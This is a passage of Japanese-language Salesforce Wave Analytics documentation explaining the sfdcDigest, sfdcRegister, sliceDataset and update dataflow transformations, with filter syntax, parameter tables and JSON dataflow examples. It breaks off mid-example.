Salesforce オブジェクトから抽出されるレコードの絞り込み
Salesforce オブジェクトからすべてのレコードのサブセットを抽出するには、検索条件を sfdcDigest 変換に追
加します。レコードを絞り込むと、抽出および処理されるレコード数を減らし、無関係なデータまたは機
密データを含むレコードを除外して、データフローのパフォーマンスを向上できます。
Salesforce 項目メタデータの上書き
sfdcDigest 変換で Salesforce オブジェクトから抽出される項目メタデータを上書きして、データセットに異な
るデータが表示されるようにすることができます。たとえば、Wave Analytics では、項目値がないレコード
にデフォルト値を追加できます。
Wave でサポート対象外の Salesforce オブジェクトおよび項目
sfdcDigest 変換では、すべての Salesforce オブジェクトおよび項目からデータを抽出できるわけではありませ
ん。Salesforce オブジェクトの抽出を設定する前に、次の制限を考慮してください。
sfdcDigest パラメータ
sfdcDigest変換を定義する場合は、アクション属性を sfdcDigestに設定し、抽出するオブジェクトおよび
項目のパラメータを指定します。必要に応じて、Salesforce オブジェクトから抽出するレコードを絞り込む
パラメータを指定することもできます。

Salesforce オブジェクトから抽出されるレコードの絞り込み
Salesforce オブジェクトからすべてのレコードのサブセットを抽出するには、検索条件をsfdcDigest変換に追加し
ます。レコードを絞り込むと、抽出および処理されるレコード数を減らし、無関係なデータまたは機密データ
を含むレコードを除外して、データフローのパフォーマンスを向上できます。
検索条件は 1 つ以上の検索条件で構成され、各検索条件で項目値が値と比較されます。たとえば、「Amount

>= 1000000」などです。また、検索条件の項目値に CALENDAR_YEAR(CreatedDate) = 2011のような SOQL

関数を適用することもできます。論理演算子 AND、OR、NOT を使用して、複数の検索条件を追加できます。ま
た、バックスラッシュ (\) を使用して、文字列に含まれる二重引用符をエスケープすることもできます。
sfdcDigest変換では、検索条件が true となるすべてのレコードが抽出されます。増分抽出に sfdcDigest 変換を設定
した場合は、増分実行時に抽出されたデータに対してのみ検索条件が適用され、データセットに以前に読み込
まれたレコードには検索条件は適用されません。無効な検索条件を追加すると、データフローが実行時に失敗
します。
sfdcDigest のインスタンスごとに、次のいずれかの種類の検索条件を使用できます。
• 構造化された検索条件
• 高度な検索条件

ヒント: sfdcDigest変換での検索条件、または検索条件変換のどちらを使用するかを決定する必要がある場
合、データフローの任意の時点でレコードを絞り込むには検索条件変換を使用します。たとえば、デー
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タフローで 2 つのデータセットを結合した後で検索条件を追加できます。ただし、データフローで処理さ
れる行数を減らし、データフローのパフォーマンスを最適化し、レコードの抽出点に最も近いところに
検索条件を追加する (可能な場合) には、sfdcDigest 変換で検索条件を追加します。

sfdcDigest 変換の構造化された検索条件
JSON 構文を使用して、構造化された検索条件を定義します。
sfdcDigest 変換の高度な検索条件
高度な検索条件は、Salesforce Object Query Language (SOQL) の WHERE 句式を使用して定義します。高度な検索条
件は、SOQL に習熟している場合にのみ使用します。

関連トピック:

sfdcDigest 変換

sfdcDigest 変換の構造化された検索条件
JSON 構文を使用して、構造化された検索条件を定義します。
構造化された検索条件では、検索条件ごとに次の JSON 構文を使用します。
{
"field": "<field name>",
"operator": "<operator>",
"value": "<value>"|"["<value 1>", "<value 2>"]",
"isQuoted": true|false}

値には、数値、日付、文字列、文字列リスト、日付リテラルを使用できます。isQuoted を true に設定して文
字列が引用符ですでに囲まれていることを示さない限り、Wave Analyticsにより文字列が自動的に引用符で囲ま
れます。
検索条件では、次のいずれかの演算子を使用できます。

コメント演算子

項目の値が指定した値に一致する場合、検索条件は
true になります。「= (次の文字列と一致する)」演算子

=

を使用する文字列比較では、大文字と小文字は区別さ
れません。
例:

"filterConditions": [
{
"field": "OwnerId",
"operator": "=",
"value": "a07B00000012HYu"
}

]
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コメント演算子

項目の値が指定した値に一致しない場合、検索条件は
true になります。

!=

例 (バックスラッシュを使用して文字列値に含まれる
二重引用符をエスケープ):

"filterConditions": [
{
"field": "Nickname__c",
"operator": "!=",
"value": "\"Sammy\""
}

]

項目の値が指定した値より大きい場合、検索条件は
true になります。

>

例:

"filterConditions": [
{
"field": "Amount",
"operator": ">",
"value": "100000"
}

]

項目の値が指定した値より小さい場合、検索条件は
true になります。

<

例 (日付リテラルを使用):

"filterConditions": [
{
"field": "CloseDate",
"operator": "<",
"value": "THIS_MONTH",
"isQuoted": false
}

]

項目の値が指定した値以上の場合、検索条件は true に
なります。

>=

例:

"filterConditions": [
{
"field": "Amount",
"operator": ">=",
"value": "100000"
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コメント演算子

}
]

項目の値が指定した値以下の場合、検索条件は true に
なります。

<=

例 (SOQL 関数を使用):

"filterConditions": [
{
"field": "CALENDAR_YEAR (CreatedDate)",
"operator": "<=",
"value": "2015",
"isQuoted": true
}

]

項目の値が指定した値に一致する場合、検索条件は
true になります。LIKE 演算子は、SQL の LIKE 演算子と似

LIKE

ています。部分的なテキスト文字列を照合するメカニ
ズムを提供し、ワイルドカードをサポートします。
• LIKE 演算子では、% と _ のワイルドカードがサポー

トされます。
• % ワイルドカードは、0 個以上の文字に一致しま

す。
• _ ワイルドカードは、1 文字のみに一致します。
• LIKE 演算子は、文字列項目でのみサポートされま

す。
• LIKE 演算子では、大文字と小文字を区別しない照

合が実行されます。
• LIKE 演算子では、特殊文字 % または _ のエスケー

プがサポートされます。特殊文字をエスケープす
るには、バックスラッシュ (\) を使用します。

例:

"filterConditions": [
{
"field": "FirstName",
"operator": "LIKE",
"value": "Chris%"
}

]
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コメント演算子

項目の値が指定したリストに含まれるいずれかの値と
一致する場合、検索条件は true になります。値のリス

IN

トは、引用符で囲んでも囲まなくてもかまいません。
リストが引用符で囲まれている場合は、isQuotedを
true に設定します。
例:

"filterConditions": [
{
"field": "StageName",
"operator": "IN",
"value": ["Closed Won", "Closed Lost"]
}

]

項目の値が指定したリストに含まれるどの値にも一致
しない場合、検索条件は true になります。

NOT IN

例:

"filterConditions": [
{
"field": "BillingState",
"operator": "NOT IN",
"value": ["California", "New York"]
}

]

選択リストおよび複数選択リストの項目にのみ使用で
きます。選択リスト項目の値に指定した値が含まれる
場合、検索条件は true になります。

INCLUDES

例:

"filterConditions": [
{
"field": "BillingState",
"operator": "INCLUDES",
"value": ["California"]
}

]

選択リストおよび複数選択リストの項目にのみ使用で
きます。選択リスト項目の値に指定した値が含まれな
い場合、検索条件は true になります。

EXCLUDES
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コメント演算子

例:

"filterConditions": [
{
"field": "BillingState",
"operator": "EXCLUDES",
"value": ["California", "New York"]
}

]

構造化された検索条件の例をいくつか見てみましょう。

例: 構造化された基本的な検索条件の例を見てみましょう。2015 会計年度の会計四半期 2 の商談でパイプ
ライン分析を実行するには、次のデータフロー定義ファイルを作成して、関連するデータセットを作成
します。
{

"Extract_Filtered_Opportunities": {
"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "AccountId" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "OwnerId" },
{ "name": "FiscalYear" },
{ "name": "FiscalQuarter" },
{ "name": "SystemModstamp" }

],
"filterConditions": [

{
"field": "FiscalYear",
"operator": "=",
"value": "2015"

},
{

"field": "FiscalQuarter",
"operator": "=",
"value": "2"

}
]

}
},
"Register_Opportunities_Dataset": {

"action": "sfdcRegister",
"parameters": {
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"alias": "Opportunities_2015Q2",
"name": "Opportunities_2015Q2",
"source": "Extract_Filtered_Opportunities"

}
}

}

メモ:  (この例のように) 複数の検索条件に論理演算子を指定しないと、Wave Analytics により条件間に
AND が適用されます。

例: 論理演算子を使用する構造化された検索条件の例を見てみましょう。期待収益を予測するには、次の
データフローを作成して、成立した商談または成立する可能性が 90% を超える商談をすべて表示します。
{

"Extract_Opportunities": {
"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "AccountId" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "OwnerId" },
{ "name": "Probability" },
{ "name": "FiscalYear" },
{ "name": "FiscalQuarter" }

],
"filterConditions": [

{
"operator": "OR",
"conditions": [

{
"field": "StageName",
"operator": "=",
"value": "Closed Won"

},
{

"field": "Probability",
"operator": ">=",
"value": "90"

}
]

}
]

}
},
"Register_Opportunities_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "OpportunitiesExpectedToWin",
"name": "OpportunitiesExpectedToWin",
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"source": "Extract_Opportunities"
}

}
}

例: 最後に、ネストした論理演算子を使用する構造化された検索条件の例を見てみましょう。次のデータ
フローを作成して、当会計四半期で成立した商談および 2 人のうちいずれかの直属部下が所有する商談を
すべて表示します。
{

"Extract_Opportunities": {
"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "AccountId" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "OwnerId" },
{ "name": "FiscalYear" },
{ "name": "FiscalQuarter" }

],
"filterConditions": [

{
"operator": "AND",
"conditions": [

{
"field": "CloseDate",
"operator": "=",
"value": "THIS_FISCAL_QUARTER",
"isQuoted": false

},
{

"operator": "OR",
"conditions": [

{
"field": "OwnerId",
"operator": "=",
"value": "00540000000HfUz"

},
{

"field": "OwnerId",
"operator": "=",
"value": "00540000000HfV4"

}
]

}
]

}
]
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}
},
"Register_Opportunities_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "DirectReport_Opportunities",
"name": "DirectReport_Opportunities",
"source": "Extract_Opportunities"

}
}

}

sfdcDigest 変換の高度な検索条件
高度な検索条件は、Salesforce Object Query Language (SOQL) の WHERE 句式を使用して定義します。高度な検索条件
は、SOQL に習熟している場合にのみ使用します。

例: 高度な検索条件の例を見てみましょう。特定のユーザが所有し、金額が大きいか、成立する見込みの
高い商談レコードのみを抽出するとします。その場合は次のデータフローを作成します。
{

"Extract_Filtered_Opportunities": {
"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "AccountId" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "Probability" },
{ "name": "OwnerId" }

],
"complexFilterConditions": "OwnerId = '00540000000HfUz' AND (Amount > 100000

OR Probability > 75)"
}

},
"Register_Opportunities_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "FilteredOpportunities",
"name": "FilteredOpportunities",
"source": "Extract_Filtered_Opportunities"

}
}

}
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Salesforce 項目メタデータの上書き
sfdcDigest 変換で Salesforce オブジェクトから抽出される項目メタデータを上書きして、データセットに異なる
データが表示されるようにすることができます。たとえば、Wave Analytics では、項目値がないレコードにデ
フォルト値を追加できます。
次の fields パラメータを sfdcDigest 変換に追加して、項目メタデータを上書きできます。
• defaultValue

• type

• fiscalMonthOffset

• isYearEndFiscalYear

• firstDayOfWeek

• isMultiValue

• multiValueSeparator

• precision

• scale

各 fields パラメータについての詳細は、「項目属性」を参照してください。メタデータ属性を使用した日付の
設定方法についての詳細は、「データセットの日付処理」を参照してください。

例: 例を見てみましょう。Opportunity オブジェクトから抽出されるメタデータを上書きします。
次のデータフロー定義で太字テキストを追加して、Opportunity オブジェクトの項目メタデータを上書きし
ます。
{

"Extract_Opportunities": {
"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{

"name": "Amount",
"defaultValue":0
"precision":18
"scale":2

},
{ "name": "StageName" },
{

"name": "CloseDate",
"fiscalMonthOffset":9,
"firstDayOfWeek":2,
"isYearEndFiscalYear":true

},
{ "name":"AccountId" },
{ "name":"OwnerId" },
{

"name": "OpportunitySupportTeamMembers__c",
"type":"Text",
"isMultiValue":true,
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"multiValueSeparator":","
"precision":255

}
]

}
},
"Register_Opportunities_Dataset":{

"action":"sfdcRegister",
"parameters":{

"alias":"Opportunities",
"name":"Opportunities",
"source":"Extract_Opportunities"

}
}

}

関連トピック:

sfdcDigest 変換

Wave でサポート対象外の Salesforce オブジェクトおよび項目
sfdcDigest変換では、すべてのSalesforceオブジェクトおよび項目からデータを抽出できるわけではありません。
Salesforce オブジェクトの抽出を設定する前に、次の制限を考慮してください。
すべての Salesforce オブジェクトおよび項目についての詳細は、『Salesforce および Force.com のオブジェクトリ
ファレンス』を参照してください。

サポート対象外のオブジェクト
sfdcDigest 変換では、次の Salesforce オブジェクトからデータを抽出できません。
• AuthProvider

• BrandTemplate

• ChatterConversation

• ChatterConversationMember

• ChatterMessage

• ConnectedApplication

• ContentFolderLink

• ContentWorkspace

• ContentWorkspaceDoc

• CorsWhitelistEntry

• CustomNotDeployed__OwnerSharingRule

• EmailDomainKey

• EmailServicesAddress

• EmailServicesFunction

• EmailStreamMessage
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• EmailStreamShareOption

• EmailStreamShareOptionHistory

• EmailStreamShareOptionOwnerSharingRule

• EmailStreamShareOptionShare

• EmailTemplate

• EventType

• EventTypeParameter

• EnvironmentHub

• EnvironmentHubInvitation

• EnvironmentHubMemberRel

• FeedPollChoice

• FeedPollVote

• KnowledgeArticleVersion

• LoginGeo

• LoginHistory

• NetworkActivityAudit

• NewsArticleFeed

• NetworkModeration

• OrganizationProperty

• OrgWideEmailAddress

• OutboundField

• PackageLicense

• PackageMemberOwnerSharingRule

• PartnerNetworkSyncLog

• PermissionSet

• PermissionSetLicense

• Profile

• ReputationLevel

• ReputationLevelLocalization

• ReputationPointsRule

• SearchPromotionRule

• SelfServiceUser

• SessionPermSetAssignment

• SetupAssistantAnswer

• SetupAssistantProgress

• SsoUserMapping

• TenantSecret

• Territory2ModelHistory

• TwoFactorInfo

• UserLogin
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• UserPackageLicense

• UserProvAccount

• UserProvAccountStaging

• UserProvisioningConfig

• UserProvisioningLog

• UserProvisioningRequest

• UserProvisioningRequestOwnerSharingRule

• UserProvisioningRequestShare

• UserProvMockTarget

• UserRecordAccess

• VerificationHistory

• WebLink

• WebLinkLocalization

sfdcDigest変換では、Salesforce で作成された外部オブジェクトからデータを抽出できません。外部オブジェクト
はカスタムオブジェクトと似ていますが、Salesforce の外部にあるデータに対応付けられるという点が異なりま
す。
sfdcDigest変換にサポート対象外またはアクセス不可能のオブジェクトを含めると、実行時にデータフローが失
敗し、エラーメッセージが表示されます。

サポート対象外の項目
sfdcDigest 変換では、次の項目からデータを抽出できません。

サポート対象外の項目オブジェクト

CleanStatusAccount

ItemIdActionPlanItem

AuthSession • LoginGeoId

• LoginHistoryId

KnowledgeArticleIdCaseArticle

Contact • CanAllowPortalSelfReg

• CleanStatus

ParentIdContentDocument

ParentEntityIdContentFolderLink

TitleCustomPerson__p

ParentIdDocumentAttachmentMap

ActivityIdEmailMessage

EmailServicesAddressIdEmailRoutingAddress

4476

データインテグレーション分析



サポート対象外の項目オブジェクト

EnvironmentHubIdEnvironmentHubMember

EventIdExternalEventMapping

ConnectedApplicationIdInstalledMobileApp

CleanStatusLead

MasterLanguageKnowledgeArticle

KnowledgeArticleVersion • IsOutOfDate

• TranslationCompletedDate

• TranslationExportedDate

• TranslationImportedDate

Network • CaseCommentEmailTemplateId

• ChangePasswordEmailTemplateId

• ForgotPasswordEmailTemplateId

• WelcomeEmailTemplateId

Organization • SelfServiceEmailUserOnCaseCreationTemplateId

• SelfServiceNewCommentTemplateId

• SelfServiceNewPassTemplateId

• SelfServiceNewUserTemplateId

• WebToCaseAssignedEmailTemplateId

• WebToCaseCreatedEmailTemplateId

• WebToCaseEmailTemplateId

• WebToLeadEmailTemplateId

PermissionSet • PermissionsEditEvent

• PermissionsEditTask

PermissionSetLicense • MaximumPermissionsEditEvent

• MaximumPermissionsEditTask

Profile • PermissionsEditEvent

• PermissionsEditTask

SsoProviderIdThirdPartyAccountLink

User • LastPasswordChangeDate

• UserPreferencesEnableVoicePilot

RewardIdWorkBadge
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サポート対象外の項目オブジェクト

RewardFundIdWorkBadgeDefinition

sfdcDigest 変換にサポート対象外の項目を持つ項目を含めると、データフローでその項目が無視されます。
また、Salesforce では、Account オブジェクトの MayEdit 項目からデータを抽出しないことをお勧めします。この
項目からデータを抽出すると、パフォーマンスが著しく低下し、データフローが失敗するおそれがあります。

サポート対象外の項目種別
sfdcDigest 変換では、次のデータ型を持つ項目からデータを抽出できません。
• base64

• 複合 (住所と場所など)

• データカテゴリグループの参照
• 暗号化された文字列
sfdcDigest変換にサポート対象外のデータ型を持つ項目を含めると、データフローでその項目が無視されます。

関連トピック:

sfdcDigest 変換

sfdcDigest パラメータ
sfdcDigest 変換を定義する場合は、アクション属性を sfdcDigest に設定し、抽出するオブジェクトおよび項
目のパラメータを指定します。必要に応じて、Salesforce オブジェクトから抽出するレコードを絞り込むパラ
メータを指定することもできます。
パラメータは、sfdcDigest ノードの parameters、fields、filterConditions セクションで指定できます。

parameters パラメータ
次の表では、parameters セクションのパラメータについて説明します。

値必須項目パラメータ

データの抽出元である Salesforce オ
ブジェクトの API 名。このオブジェ

はいobject

クトは、この変換に対する入力ソー
スです。sfdcDigest 変換で抽出元と
してサポートされない Salesforce オ
ブジェクトもあります。

最後のデータフロー実行以降に
Salesforce オブジェクトに加えられた

いいえincremental

変更のみを抽出する、増分抽出を
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値必須項目パラメータ

実行します。有効値: true または
false。

メモ: 増分抽出は、複製が有
効な場合に使用できます。

データセット内のデータを Salesforce

オブジェクトのデータと同期する、
いいえfullRefreshToken

一括フル抽出を実行します。この
パラメータには、任意の値を指定
します。
フル抽出後は、fullRefreshToken

パラメータがデータフロー定義に
含まれていても、データフローで
増分抽出が毎回実行されます。フ
ル抽出を再度実行するには、
fullRefreshToken の値を異なる
値に変更します。

メモ: 増分抽出は、複製が有
効な場合に使用できます。

指定された Salesforce オブジェクト
の項目のうち、データの抽出元に

はいfields

なる項目すべての名前の配列。
sfdcDigest変換で抽出元としてサポー
トされない項目種別もあります。
「項目属性」を参照してください。

指定された Salesforce オブジェクト
から抽出するレコードを制限する

いいえfilterConditions

ための検索条件。sfdcDigest 変換で
は、検索条件が true となるすべての
レコードが Salesforce オブジェクト
から抽出されます。構造化された
検索条件または高度な検索条件を
指定できます。
「filterConditions パラメータ」を参照
してください。

高度な検索条件のみが対象。指定
された Salesforce オブジェクトから

いいえcomplexFilterConditions
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値必須項目パラメータ

抽出するレコードを絞り込むため
に使用する SOQL WHERE 句です。

項目属性
次の表では、fields セクションの属性について説明します。項目メタデータを上書きするために指定でき
る、省略可能な属性についても説明します。sfdcDigest変換で Salesforce オブジェクトから抽出されるメタデータ
を上書きして、データセットに異なるデータが表示されるようにすることができます。たとえば、Wave Analytics

では、項目値がないレコードにデフォルト値を追加できます。値を上書きしない場合、Wave Analyticsは Salesforce

から値を取得します。

値必須項目属性

データセットに含める Salesforce オ
ブジェクトの項目の API 名。複数の
項目を指定できます。

はいname

null が有効なテキスト項目および数
値項目が対象。指定された項目の

いいえdefaultValue

null 値と置き換えるデフォルト値で
す。

指定された項目と関連付けられた
Wave Analytics データ型。有効な型

いいえtype

は、Text、Numeric、または Date で
す。数値を含め、どの値も Text 型に
することができます。たとえば、
デフォルトでは、Salesforce オブジェ
クトの会計四半期は Number です。
ただし、それを Text に変更できま
す。Wave Analyticsで決定された型を
上書きするデータ型を指定します。
例:

"type": "Text"

日付項目のみが対象。会計年度の
開始月とカレンダー年の開始月 (1

いいえfiscalMonthOffset

月) の差を月数で指定します。たと
えば、会計年度が 1 月に開始する場
合、オフセットは 0 です。会計年度
が 10 月に開始する場合、オフセッ
トは 9 です。
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値必須項目属性

例:

"fiscalMonthOffset": 9

メモ: この属性によって、
Wave Analytics が会計日付項目
を生成するかどうかも制御さ
れます。会計日付項目を生成
するには、
fiscalMonthOffsetを「0」
以外の値に設定します。

詳細は、「データセットの日付処
理」を参照してください。

日付項目のみが対象。会計年度が、
会計年度の終了年と開始年のどち

いいえisYearEndFiscalYear

らであるかを示します。会計年度
は、あるカレンダー年で開始し、
別のカレンダー年で終了する可能
性があるため、会計年度に使用す
る年を指定する必要があります。
• true の場合、会計年度は、会計

年度の終了年です。デフォルト
値は true です。

• false の場合、会計年度は、会計
年度の開始年です。

例:

"isYearEndFiscalYear": true

この項目は、fiscalMonthOffset

が 0 より大きい場合にのみ関連しま
す。
詳細は、「データセットの日付処
理」を参照してください。

日付項目のみが対象。カレンダー
年と会計年度 (該当する場合) の週の

いいえfirstDayOfWeek

開始曜日です。開始曜日を日曜日
に設定するには 0、月曜日に設定す
るには 1 などのように使用します。
1 月 1 日を開始日に設定するには、
-1 を使用します。デフォルト値は
-1 です。
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値必須項目属性

例:

"firstDayOfWeek": 0

詳細は、「データセットの日付処
理」を参照してください。

テキスト項目のみが対象。指定さ
れた項目に複数値があるかどうか
を示します。

いいえisMultiValue

例:

"isMultiValue": false

テキスト項目のみが対象。
isMultiValue が true の場合、指定され

いいえmultiValueSeparator

た項目の複数値の区切りに使用す
る文字です。isMultiValue が true で値
を指定しない場合、この値はデフォ
ルトのセミコロン (;) になります。
isMultiValue が false の場合は null に設
定します。
例:

"multiValueSeparator": ";"

数値の最大桁数、またはテキスト
値の長さ。数値の場合、小数点の

いいえprecision

右側と左側の両方をあわせたすべ
ての桁数 (ただし小数点自体は含ま
ない) が含まれます。値は 1 ～ 18 (こ
の値は範囲に含まれる) である必要
があります。テキスト値の場合、
デフォルト値は 255 文字です。1 ～
32,000 (この値は範囲に含まれる) 文
字である必要があります。
例:

"precision": 10

数値の小数点の右側の桁数。
precision の値より小さくします。値

いいえscale

は 0 ～ 17 (この値は範囲に含まれる)

文字である必要があります。
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値必須項目属性

例:

"scale": 2

filterConditions パラメータ
次の表では、filterConditions セクションの構造化された検索条件のパラメータについて説明します。こ
れらのパラメータは、高度な検索条件には適用されません。

値必須項目パラメータ

検索条件を適用する Salesforce オブ
ジェクトの項目。構造化された検

いいえfield

索条件の各検索条件では、次の構
文を使用します。
{
"field": "<field name>",
"operator": "<operator>",
"value": "<value>",
"isQuoted": true|false}

目的は、コンテキストによって異
なります。

いいえoperator

• operator は、項目値を定数値
と比較する比較演算子 (like、=、
<、IN) として使用できます。

• また、operator は、複数の検
索条件を結合する論理演算子
(AND、OR、NOT) としても使用で
きます。

次の例では、太字の operator は
論理演算子です。operatorの他の
インスタンスは比較演算子です。
"filterConditions": [

{
"operator": "OR",
"conditions": [

{
"field":

"StageName",
"operator": "=",

"value": "Closed
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値必須項目パラメータ

Won"
},
{

"field":
"Probability",

"operator":
">=",

"value": "90"
}

]
}

]

検索条件に使用される値。いいえvalue

検索条件の文字列値を引用符で囲
むかどうかを示します。

いいえisQuoted

値を引用符で囲む例:

"filterConditions": [
{
"field": "StageName",
"operator": "IN",
"value": "('Closed Won',

'Closed Lost')",
"isQuoted": true
}

]

値を引用符で囲まない例:

"filterConditions": [
{
"field": "StageName",
"operator": "IN",
"value": ["Closed Won",

"Closed Lost"],
"isQuoted": false
}

]

文字列値で検索条件に isQuoted を含
めないと、文字列値が引用符で囲
まれないと想定され、引用符が追
加されます。
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値必須項目パラメータ

複数の検索条件を結合する論理演
算子を指定するために使用します。

いいえconditions

関連トピック:

sfdcDigest 変換
Salesforce オブジェクトから抽出されるレコードの絞り込み

sfdcRegister 変換
sfdcRegister 変換では、データセットをクエリで使用できるように登録します。未登録のデータセットに対して
ユーザが表示やクエリの実行を行うことはできません。
すべてのデータセットを登録する必要はありません。たとえば、別のデータセットの作成に使用する、クエリ
が不要な中間データセットを登録する必要はありません。また、外部データをアップロードするときに作成さ
れるデータセットは、Wave Analytics で自動的に登録されるため、登録する必要がありません。
次の理由から、登録するデータセットは慎重に選択してください。
• すべての登録済みデータセットの総行数は、プラットフォームライセンスあたり最大 2 億 5,000 万行に制限

されています。
• 登録済みデータセットへのアクセス権を持つユーザは、データをクエリできます。ただし、データセット

に行レベルセキュリティを適用してレコードへのアクセスを制限できます。

例: 例を見てみましょう。Opportunity オブジェクトから商談を抽出するデータフローを作成します。デー
タセットを登録し、「Opportunities」という名前を付けて、行レベルセキュリティを適用するには、次の
データフロー定義ファイルのように sfdcRegister 変換を追加する必要があります。
{

"Extract_Opportunities": {
"action": "sfdcDigest",
"parameters": {

"object": "Opportunity",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "Amount" },
{ "name": "StageName" },
{ "name": "CloseDate" },
{ "name": "AccountId" },
{ "name": "OwnerId" }

]
}

},
"Register_Oppportunities_Dataset": {

"action": "sfdcRegister",
"parameters": {

"alias": "Opportunities",
"name": "Opportunities",
"source": "Extract_Opportunities",
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"rowLevelSecurityFilter": "'OwnerId' == \"$User.Id\""
}

}
}

sfdcRegister パラメータ
sfdcRegister変換を定義する場合は、アクション属性を sfdcRegisterに設定してパラメータを指定します。

sfdcRegister パラメータ
sfdcRegister 変換を定義する場合は、アクション属性を sfdcRegister に設定してパラメータを指定します。
次の表では、入力パラメータについて説明します。

値必須項目パラメータ

登録済みデータセットの API 名。こ
の名前は、アンダースコアと英数

はいalias

字のみを含み、組織内のデータセッ
ト別名間で一意にする必要があり
ます。最初は文字であること、ス
ペースは使用しない、最後にアン
ダースコアを使用しない、2 つ続け
てアンダースコアを使用しないと
いう制約があります。また、80 文
字を超えてはいけません。

登録されるデータセットの表示名。
名前は、80 文字を超えてはいけま
せん。

はいname

メモ: データセットの作成後
に名前を変更するには、デー
タセットを編集する必要があ
ります。

登録するデータセットを識別する、
データフロー定義ファイル内のノー

はいsource

ド。これは、この変換に対する入
力ソースです。

データセットの初期作成時にデー
タセットに行レベルセキュリティ
を適用するために使用する述語。

いいえrowLevelSecurityFilter

例: "rowLevelSecurityFilter": "'OwnerId' ==
"$User.Id""
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値必須項目パラメータ

メモ: データセットの作成後
に述語を変更するには、デー
タセットを編集する必要があ
ります。
データフロー JSON の Register

変換に述語を入力するとき
は、文字列値を囲む二重引用
符をエスケープする必要があ
ります。

データセットの作成後、Wave

Analytics ではデータフロー内でその
セキュリティ述語設定が無視され
ます。既存のデータセットのセキュ
リティ述語を変更するには、ユー
ザインターフェースでデータセッ
トを編集します。

関連トピック:

sfdcRegister 変換

sliceDataset 変換
sliceDataset 変換を使用すると、データフローのデータセットから項目が削除され、新規データセットまたは他
の変換で使用する項目のサブセットが残ります。これにより、1 つのデータセットから異なる項目のセットを
持つ複数のデータセットを作成できます。
この変換には mode パラメータが含まれていて、2 つのモード (drop と select) から選択できます。drop に
設定すると、指定した項目を削除します。select に設定すると、指定した項目を保持します。

例: 次に例を示します。データフローに sfdcDigest ノード ExtractOpportunitiesが含まれており、商談
オブジェクトからすべての項目を抽出するとします。ただし、一部のユーザの Opportunities データセット
には ID 項目は必要ありません。データフローに sliceDataset ノードを追加し、ソースノード、ノードから削
除する項目、drop モードを指定するだけで、これを解決できます。
{
"RemoveFieldsFromExtractOpportunities": {
"action": "sliceDataset",
"parameters": {
"source": "ExtractOpportunities",
"mode": "drop",
"fields": [
{
"name": "Id"

},
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{
"name": "ProductId"

}
]

}
}

}

sliceDataset パラメータ
sliceDataset 変換を定義する場合は、アクション属性を sliceDatasetに設定してパラメータを指定します。

sliceDataset パラメータ
sliceDataset 変換を定義する場合は、アクション属性を sliceDataset に設定してパラメータを指定します。
次の表では、入力パラメータについて説明します。

値必須項目パラメータ

スライスするデータセットを識別
する、データフロー定義ファイル

はいsource

内のノード。これは、この変換に
対する入力ソースです。

指定した項目に対して実行するア
クション。項目を削除する場合は

はいmode

dropに設定します。項目を保持す
る場合は select に設定します。

指定したソースノードから削除ま
たは保持する項目の名前の配列。

はいfields

update 変換
update変換は、参照データセットと呼ばれる別のデータセットのデータに基づいて、既存のデータセットで指
定された項目値を更新します。変換では、参照データセット内の対応する項目にある新しい値が参照されま
す。その結果が新しいデータセットに保存されます。
変換を作成する場合、2 つのデータセット間でレコードを照合するために使用するキーを指定します。参照
データセット内のどの項目でソースデータセット内の項目が更新されるかを決定するため、両方のデータセッ
トの対応する項目の対応付けも行います。
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例: 例を見てみましょう。取引先情報 (Id、Name、AnnualRevenue) を含む既存の Accounts データセットがあ
ります。このデータセット内の一部の取引先名は、一連の合併と買収が原因で不正確になっています。
データセット内の取引先名をすばやく更新するには、次のタスクを実行します。
1. 名前が変更された取引先の新しい取引先名および関連付けられた取引先 ID を含む .csv ファイルを作成

します。
2. .csv ファイルをアップロードし、UpdatedAccountNames というデータセットを作成します。
3. UpdatedAccountNames データセット内の新しい取引先名を参照して Accounts データセット内の取引先名

を更新する、データフロー定義ファイルを作成します。

次のデータフロー定義ファイルを作成します。
{

"Extract_AccountDetails": {
"action": "sfdcDigest",
"parameters": {

"object": "Account",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "AnnualRevenue" }

]
}

},
"Extract_UpdatedAccountNames": {

"action": "edgemart",
"parameters": { "alias": "UpdatedAccountNames" }

},
"Update_AccountRecords": {

"action": "update",
"parameters": {

"left": "Extract_AccountDetails",
"right": "Extract_UpdatedAccountNames",
"left_key": [ "Id" ],
"right_key": [ "AccountID" ],
"update_columns": { "Name": "NewAccountName" }

}
},
"Register_UpdatedAccountRecords": {

"action": "sfdcRegister",
"parameters": {

"alias": "Accounts",
"name": "Accounts",
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"source": "Update_AccountRecords"
}

}
}

例: 両方のデータセット間のレコードの照合に複合キーが使用される別の例を見てみましょう。この場
合、取引先 ID 項目と取引先名項目を使用してレコードを照合します。
次のデータフロー定義ファイルを作成します。
{

"Extract_AccountDetails": {
"action": "sfdcDigest",
"parameters": {

"object": "Account",
"fields": [

{ "name": "Id" },
{ "name": "Name" },
{ "name": "AnnualRevenue" }

]
}

},
"Extract_UpdatedAccountNames": {

"action": "edgemart",
"parameters": { "alias": "UpdatedAccountNames" }

},
"Update_AccountRecords": {

"action": "update",
"parameters": {

"left": "Extract_AccountDetails",
"right": "Extract_UpdatedAccountNames",
"left_key": ["Id","Name"],
"right_key": ["AccountId","NewAccountName"],
"update_columns": {

"Name": "NewAccountName",
"CreatedDate":"NewCreatedDate",
"AnnualRevenue":"NewAnnualRevenue"

}
},
"Register_UpdatedAccountRecords": {

